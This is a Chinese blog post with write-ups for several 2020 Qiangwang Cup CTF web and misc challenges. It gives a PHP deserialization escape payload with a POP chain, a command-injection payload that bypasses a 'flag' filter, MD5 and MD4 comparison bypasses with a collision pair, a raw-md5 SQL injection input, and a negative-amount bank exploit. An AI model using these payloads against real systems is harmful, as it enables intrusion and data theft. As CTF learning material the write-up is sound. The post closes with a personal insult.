2020第四届"强网杯"线上赛部分题解

前言

肝了两天,日常被虐,这里记录一下做出来的几道题,真*web是一个都没解出来,感觉还是tcl!!!,还得继续努力啊

web辅助

题目直接给了源码,有四个文件,代码比较少。

主要考查:反序列化字符串逃逸,绕过wakeup,还有一些小技巧

反序列的基础知识可以参考之前的博客:

https://www.cnblogs.com/lceFIre/p/12602233.html

关于反序列化字符串逃逸可以参考这两位师傅的文章:

https://www.cnblogs.com/magic-zero/p/11643916.html

https://xz.aliyun.com/t/6718

分析一下代码

index.php

<?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";

if (isset($_GET['username']) && isset($_GET['password'])){
	$username = $_GET['username'];
	$password = $_GET['password'];
	$player = new player($username, $password);
	file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player))); 
	echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']);
}
else{
	echo "Please input the username or password!\n";
}

?>

这个文件主要就是接收了两个参数,这两个参数可控,然后利用这两个参数实例化player对象,并且会将其序列化后的内容写入caches目录下的一个文件

common.php

<?php
function read($data){
    $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
    return $data;
}
function write($data){
    $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
    return $data;
}

function check($data)
{
    if(stristr($data, 'name')!==False){
        die("Name Pass\n");
    }
    else{
        return $data;
    }
}
?>

这里定义了三个函数,read和write的进行了字符串替换会导致逃逸,我们可以在username传入\0*\0 这样它在写入的时候长度没变是5个字符,但是read读取的时候会替换为 chr(0)."*".chr(0) 变成了3个字符,反序列化的时候就会向后吃掉2个字符导致后面的字符逃逸,check函数主要就是过滤了大小写的name,只要匹配到就返回Name Pass,这个在反序列化的时候,需要绕过

play.php

<?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";

@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
print_r($player);
if ($player->get_admin() === 1){
	echo "FPX Champion\n";
}
else{
	echo "The Shy unstoppable\n";
}
?>

这个文件就是存在反序列化点的地方,它会读取之前index.php写入的序列化值然后反序列化,注意中间有一个check检测

class.php

<?php
class player{
    protected $user;
    protected $pass;
    protected $admin;

    public function __construct($user, $pass, $admin = 0){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }

    public function get_admin(){
        return $this->admin;
    }
}

class topsolo{
    protected $name;

    public function __construct($name = 'Riven'){
        $this->name = $name;
    }

    public function TP(){
        if (gettype($this->name) === "function" or gettype($this->name) === "object"){
            $name = $this->name;
            $name();
        }
    }

    public function __destruct(){
        $this->TP();
    }

}

class midsolo{
    protected $name;

    public function __construct($name){
        $this->name = $name;
    }

    public function __wakeup(){
        if ($this->name !== 'Yasuo'){
            $this->name = 'Yasuo';
            echo "No Yasuo! No Soul!\n";
        }
    }
    

    public function __invoke(){
        $this->Gank();
    }

    public function Gank(){
        if (stristr($this->name, 'Yasuo')){
            echo "Are you orphan?\n";
        }
        else{
            echo "Must Be Yasuo!\n";
        }
    }
}

class jungle{
    protected $name = "";

    public function __construct($name = "Lee Sin"){
        $this->name = $name;
    }

    public function KS(){
        system("cat /flag");
    }

    public function __toString(){
        $this->KS();  
        return "";  
    }

}
?>

这里定义了四个类,很明显需要我们执行 jungle 的 KS() 来获取flag

思路:

首先构造需要逃逸的对象,将其作为password

那么找一下pop链:

jungle 的 __toString() 中调用了 KS() ,然后 midsolo 的 Gank() 中在 stristr 处进行了字符串的匹配,如果令 $this->name 为 jungle 类,就能触发 __toString() ,然后 Gank() 是在 midsolo 的 __invoke() 里被调用,接着 topsolo 的TP() 中在 $name() ; 处,可以令 $name 为midsolo 类,就能触发 __invoke() ,然后 topsolo 的 __destruct() 那里会调用TP() ,最后就是思考怎么调用destruct?

payload

<?php
class jungle{
    protected $name = "";

    public function __construct($name = "Lee Sin"){
        $this->name = $name;
    }

}

class midsolo{
    protected $name;

    public function __construct($name){
        $this->name = $name;
    }

}

class topsolo{
    protected $name;

    public function __construct($name){
        $this->name = $name;
    }

}


class player{
    protected $user;
    protected $pass;
    protected $admin;

    public function __construct($user, $pass, $admin){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }

    public function get_admin(){
        return $this->admin;
    }
}

$a=new jungle();
$b=new midsolo($a);
$c=new topsolo($b);

$d=array();
$d[0]=$c;
$d[1]=2;

$e=serialize($d);
//echo $e."\n";
$f=str_replace('Lee Sin";}}}i:1;','lceFIre";}}}i:0;',$e);
$f=str_replace('midsolo":1:{s','midsolo":2:{s',$f);
echo $f;
?>

运行得到

a:2:{i:0;O:7:"topsolo":1:{s:7:" * name";O:7:"midsolo":2:{s:7:" * name";O:6:"jungle":1:{s:7:" * name";s:7:"lceFIre";}}}i:0;i:2;}

里面 * 两边的空格实际上是空字符,通常在传参的时候可以用%00代替

注意脚本最后的两个替换

第一个是为了利用php反序列的冗余来销毁对象触发 __destruct()

简单来说就是:反序列化的时候如果传入一个序列化的数组,并且这个数组中存在两个或多个key相等的变量,那么反序列化的时侯将删除首先输入的变量。

比如下面这个序列化值:

a:2:{i:0;O:1:"B":0:{}i:1;i:1;}

这是一个正常的数组序列化后的值,表示这个数组有两个值,第一个键是0,对应的值是一个对象,第二个键是1,对应的值是数值1

这里我们把第二个键改为0

a:2:{i:0;O:1:"B":0:{}i:0;i:1;}

这里如果在将其反序列化,那么 B 对象会作为value冗余,如果B类存在__destruct(),则会调用 __destruct(),而不会导致反序列化错误,即先解析 O:1:"B":0:{} 生成一个对象,然后在向后解析又遇到 i:0 于是将前一个 i:0 的值改为1,就相当于消灭了之前生成的对象于是触发__destruct函数,之后也是冗余的关系使得反序列化的结果返回的是 array(0=>1)

第二个是为了绕过midsolo的 __wakeup(),只需要修改对象属性的个数就行,不然我们构造的 midsolo 的 $this->name 属性会被重置

还有需要注意的地方

就是我们上面构造的payload中很明显存在name字符,会被check()检测出来

function check($data)
{
    if(stristr($data, 'name')!==False){
        die("Name Pass\n");
    }
    else{
        return $data;
    }
}

引用一下之前在 Y1ng 师傅 博客中学到的方法

这里可以将序列化里的字符串改写成十六进制,也就是将表示字符串用的s写成大写S,这样private属性后面的%00这个不可见字符就能写成\00(如果是小写s 这个\00表示一个斜线和两个0 是三个字符,而大写S会把\00解析成%00(1个字符的空字符))

因此我们可以将上面payload中所有的

s:7:" * name";

改为

S:7:"\00*\00\6eame";

\6e表示 n ,这样就可以绕过check

a:2:{i:0;O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"lceFIre";}}}i:0;i:2;}

然后将上面构造好的pop链当作password传入,生成一个正常的player对象方便观察

<?php
class player{
    protected $user;
    protected $pass;
    protected $admin;

    public function __construct($user, $pass, $admin = 0){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }
}

$username = '111';
$password = 'a:2:{i:0;O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"lceFIre";}}}i:0;i:2;}';

$a=new player($username,$password);
$b=serialize($a);
echo $b;
?>

得到

O:6:"player":3:{s:7:" * user";s:3:"111";s:7:" * pass";s:145:"a:2:{i:0;O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"lceFIre";}}}i:0;i:2;}";s:8:" * admin";i:0;}

然后为了便于吃掉字符,同时要保证序列化的数据语法正确我们可以添加

lceFIre";s:8:"\0*\0admin";

得到

O:6:"player":3:{s:7:" * user";s:3:"111";s:7:" * pass";s:145:"lceFIre";s:8:"\0*\0admin";a:2:{i:0;O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"lceFIre";}}}i:0;i:2;}";s:8:" * admin";i:0;}

于是password应该为

lceFIre";s:8:"\0*\0admin";a:2:{i:0;O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"lceFIre";}}}i:0;i:2;}

这样需要被吃掉的字符就是

";s:7:" * pass";s:145:"lceFIre

长度为30,因此我们的username需要传入15个 \0*\0

最后先向index.php页面提交payload

?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=lceFIre";s:8:"\0*\0admin";a:2:{i:0;O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"lceFIre";}}}i:0;i:2;}

然后访问play.php得到flag

主动

这题感觉是除签到以外最简单的了

访问得到源码

 <?php
highlight_file("index.php");

if(preg_match("/flag/i", $_GET["ip"]))
{
    die("no flag");
}

system("ping -c 3 $_GET[ip]");

?> 

payload

?ip=127.0.0.1|tac fla''g.php

Funhash

访问得到

<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
    die('level 1 failed');
}

//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
    die('level 2 failed');
}

//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc(); 
var_dump($row);
$result->free();
$mysqli->close();


?>

主要考的就是各种md5的比较

在第一关卡了蛮久后来找到相关的文章

https://www.dazhuanlan.com/2020/01/17/5e2103fc1e45f/

payload

hash1=0e251288019

方法就是用脚本爆破

<?php
for ($i = 0;; $i++) {
    $req = "0e" . $i;
    $md4 = hash("md4", $req);
    if (preg_match("/^0e[0-9]*$/", $md4)) {
        echo $req . "n";
        break;
    }
}
?>

要跑蛮久

第二关

md5全等碰撞

hash2=m%C6%88%A3%83KhNM%91gy%7C%E2%E4Cb1%D1%FD%C41%98%96%F9%1D%7F%3E%88%2B%AA%12%81%AD%F3%E2%60%E7%C5T%EF%07g%F4%99%81h%9Dz%18%DA%7B%02%82%B6%B0%9E%0CS%DC%8D%02%B9%C0%890%97%22%C6OhQw%AA%10%D8%03b%C2%B3%B1%8F%EA%40%5C%DC%81%D9M%C5%10%E0%BA_%88%C7%CF%AB%E4%27%AF%84n4%BA%03%8A%3A%28%D8%EC%60%2F%28%80%D0%DB%A0e%3B4%19d8%E0%26%11H%F9%D0+6%E2%7B%EE%3A%A4k%A3%DF3%94%D7%A0%B1%AB%E0L%8Atv%293%8E%81%F6%17%C2%0C%D2%F4%D4%B5%DD%E0T2%C3%0B%C8%EA%19%24%0A%AD1%1A%3E%BF%7E%1F%D3D%FB%E0%91%E4a%23%88%1F%28R%0A%BFvR%BB%A4%98%91%82Y%AEl%88%EA%16%1FS%CBZ%3C%E1%B2%AF%2B%B5%40%C7%2A%60%A8%D7%D7%3D%00h%97H%F3%13%B8C%06%5B%BA%D3%F9%DCHb%7BK%AC%CE%EF%CE%C5%18C%C1z%5D%3B%F7&hash3=m%C6%88%A3%83KhNM%91gy%7C%E2%E4Cb1%D1%FD%C41%98%96%F9%1D%7F%3E%88%2B%AA%12%81%AD%F3%E2%60%E7%C5T%EF%07g%F4%99%81h%9Dz%18%DA%7B%02%82%B6%B0%9E%0CS%DC%8D%02%B9%C0%890%97%22%C6OhQw%AA%10%D8%03b%C2%B3%B1%8F%EA%40%5C%DC%81%D9M%C5%10%E0%BA_%88%C7%CF%AB%E4%27%AF%84n4%BA%03%8A%3A%28%D8%EC%60%2F%28%80%D0%DB%A0e%3B4%19d8%E0%26%11H%F9%D0+6%E2%7B%EE%3A%A4k%A3%DF3%94%D7%A0%B1%AB%E0%CC%8Atv%293%8E%81%F6%17%C2%0C%D2%F4%D4%B5%DD%E0T2%C3%0B%C8%EA%19%24%8A%AD1%1A%3E%BF%7E%1F%D3D%FB%E0%91%E4%E1%23%88%1F%28R%0A%BFvR%BB%A4%98%91%82Y%AEl%88%EA%16%1FS%CB%DA%3C%E1%B2%AF%2B%B5%40%C7%2A%60%A8%D7%D7%3D%00h%97H%F3%13%B8C%06%5B%BAS%F9%DCHb%7BK%AC%CE%EF%CE%C5%18CAz%5D%3B%F7

用数组绕过好像也可以

第三关

参考这位师傅的博客

https://blog.csdn.net/March97/article/details/81222922

hash4=129581926211651571912466741651878684928

最终payload

?hash1=0e251288019&hash2=m%C6%88%A3%83KhNM%91gy%7C%E2%E4Cb1%D1%FD%C41%98%96%F9%1D%7F%3E%88%2B%AA%12%81%AD%F3%E2%60%E7%C5T%EF%07g%F4%99%81h%9Dz%18%DA%7B%02%82%B6%B0%9E%0CS%DC%8D%02%B9%C0%890%97%22%C6OhQw%AA%10%D8%03b%C2%B3%B1%8F%EA%40%5C%DC%81%D9M%C5%10%E0%BA_%88%C7%CF%AB%E4%27%AF%84n4%BA%03%8A%3A%28%D8%EC%60%2F%28%80%D0%DB%A0e%3B4%19d8%E0%26%11H%F9%D0+6%E2%7B%EE%3A%A4k%A3%DF3%94%D7%A0%B1%AB%E0L%8Atv%293%8E%81%F6%17%C2%0C%D2%F4%D4%B5%DD%E0T2%C3%0B%C8%EA%19%24%0A%AD1%1A%3E%BF%7E%1F%D3D%FB%E0%91%E4a%23%88%1F%28R%0A%BFvR%BB%A4%98%91%82Y%AEl%88%EA%16%1FS%CBZ%3C%E1%B2%AF%2B%B5%40%C7%2A%60%A8%D7%D7%3D%00h%97H%F3%13%B8C%06%5B%BA%D3%F9%DCHb%7BK%AC%CE%EF%CE%C5%18C%C1z%5D%3B%F7&hash3=m%C6%88%A3%83KhNM%91gy%7C%E2%E4Cb1%D1%FD%C41%98%96%F9%1D%7F%3E%88%2B%AA%12%81%AD%F3%E2%60%E7%C5T%EF%07g%F4%99%81h%9Dz%18%DA%7B%02%82%B6%B0%9E%0CS%DC%8D%02%B9%C0%890%97%22%C6OhQw%AA%10%D8%03b%C2%B3%B1%8F%EA%40%5C%DC%81%D9M%C5%10%E0%BA_%88%C7%CF%AB%E4%27%AF%84n4%BA%03%8A%3A%28%D8%EC%60%2F%28%80%D0%DB%A0e%3B4%19d8%E0%26%11H%F9%D0+6%E2%7B%EE%3A%A4k%A3%DF3%94%D7%A0%B1%AB%E0%CC%8Atv%293%8E%81%F6%17%C2%0C%D2%F4%D4%B5%DD%E0T2%C3%0B%C8%EA%19%24%8A%AD1%1A%3E%BF%7E%1F%D3D%FB%E0%91%E4%E1%23%88%1F%28R%0A%BFvR%BB%A4%98%91%82Y%AEl%88%EA%16%1FS%CB%DA%3C%E1%B2%AF%2B%B5%40%C7%2A%60%A8%D7%D7%3D%00h%97H%F3%13%B8C%06%5B%BAS%F9%DCHb%7BK%AC%CE%EF%CE%C5%18CAz%5D%3B%F7&hash4=129581926211651571912466741651878684928

bank

给了nc,连接返回

sha256(XXX+aJl8GWbgSdealQbg8) == e9eee6a13600ed14def9dfc7345e501bc60fb32cb30568a8803d65af9facf70c 
Give me XXX:

只有三位写个脚本爆破一下

# -*- coding: utf-8 -*-
import requests
import hashlib


def sha256(data):
    datas = data + text
    sha256 = hashlib.sha256()
    sha256.update(datas.encode())
    res = sha256.hexdigest()
    return res

def main():
    for ch1 in string_list:
        for ch2 in string_list:
            for ch3 in string_list:
                guess_data = ch1+ch2+ch3
                res = sha256(guess_data)
                if res == text_encode :
                    print(guess_data)
                    break

if __name__ == '__main__':
    string_list = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'

    text = '''

aJl8GWbgSdealQbg8

    '''

    text = text.replace("\n",'')
    text = text.replace(' ','')
    text_encode = '''

e9eee6a13600ed14def9dfc7345e501bc60fb32cb30568a8803d65af9facf70c
    
    '''
    text_encode = text_encode.replace("\n",'')
    text_encode = text_encode.replace(' ','')

    main()

然后提交token,队伍名,之后返回

your cash:10
you can choose: transact, view records, provide a record, get flag, hint
> 

五个功能都试了一下

your cash:10
you can choose: transact, view records, provide a record, get flag, hint
> hint

def transact_ecb(key, sender, receiver, amount):
    aes = AES.new(key, AES.MODE_ECB)
    ct = b""
    ct += aes.encrypt(sender)
    ct += aes.encrypt(receiver)
    ct += aes.encrypt(amount)
    return ct


> get flag
you need pay 1000 for the flag!
don't have enough money!


> provide a record
My system is secure if you can give me other records, the receiver can also get the money.
>


> view records
there are some transactions and the transaction amount is more than 100
b3ae353be7116f4ad433c63470f59100daf24c67188fbd3a8e4828ec5ec8a4b4cf1ba64a0b3ae74105673b53f26b8561
daf24c67188fbd3a8e4828ec5ec8a4b4daf24c67188fbd3a8e4828ec5ec8a4b47ebd45ab3e87afd321306dff981cdc68
b3ae353be7116f4ad433c63470f591004018265660a40a7f5b9127e2808b5352687700b12564b4c7efaccfdeac935b57
4018265660a40a7f5b9127e2808b53524018265660a40a7f5b9127e2808b5352e8218f6e40154ac26ac8fc6cde319272
b3ae353be7116f4ad433c63470f59100daf24c67188fbd3a8e4828ec5ec8a4b457661409079b2f705f0774edd5066390
daf24c67188fbd3a8e4828ec5ec8a4b46728832df7d17a7814d58ecb14e57f6a0119a3b00d0c81e677236d17291cc7a5
6728832df7d17a7814d58ecb14e57f6a4018265660a40a7f5b9127e2808b53529c09f9c368af563f7daa22e8ab044bfb
6728832df7d17a7814d58ecb14e57f6a6728832df7d17a7814d58ecb14e57f6aa0ab1b6d7933d4353d3d54d9ac85c1b7
b3ae353be7116f4ad433c63470f591004018265660a40a7f5b9127e2808b535215597c6206d6e4bb4af19044dbcc0f28
b3ae353be7116f4ad433c63470f59100b3ae353be7116f4ad433c63470f591003fd886c9b310839d1e34b1cbf3675b49


> transact
please give me the trader and the amount(for example:Alice 1)
> 

简单来说就是要1000块钱才给flag,正常做到这一步只有10块钱

然后provide a record那里可以赚钱但需要提供其它的交易记录,这里不知道其他人的token,队伍感觉无法获得交易记录 ~~~实际上可以伪造只是我不会哈哈

hint 里是 AES 加密,看了半天没看出什么,放弃,当时有很多人做出来这题,一度以为这个hint是在欺骗我,肯定有其它的骚操作

然后transact那里,可以提供交易者和金额进行交易(例如:Alice 1)

试了一下

Alice 1

返回

please give me the trader and the amount(for example:Alice 1)
> Alice 1
16fcc2ccf8d4e9a656f967426c0248e6bea5d307800e76cded1e37ee3c9ce62ecc6ad27f389ca5f01b9fffb2e4838c97

your cash:9
you can choose: transact, view records, provide a record, get flag, hint
>

发现我变成9块钱了。。。

后来试了很久,hint提示的aes感觉也不能爆破,最后想着既然有个Alice的列子,那这个Alice肯定有很多钱(估计有很多人把钱转给Alice),于是测试

Alice -1000

看会不会倒过来把钱转给我,然后竟然真的拿到钱了,最后在选择get flag就行

后记

比赛第二天遇到了很搞人心态的事,当时也是气急,就去很多群找了某个名叫 “你可真skr有趣人儿” 的傻逼,具体的事睡了一觉后也懒得想,越想越气

posted @ 2020-08-24 21:12  lceFIre  阅读(716)  评论(0编辑  收藏  举报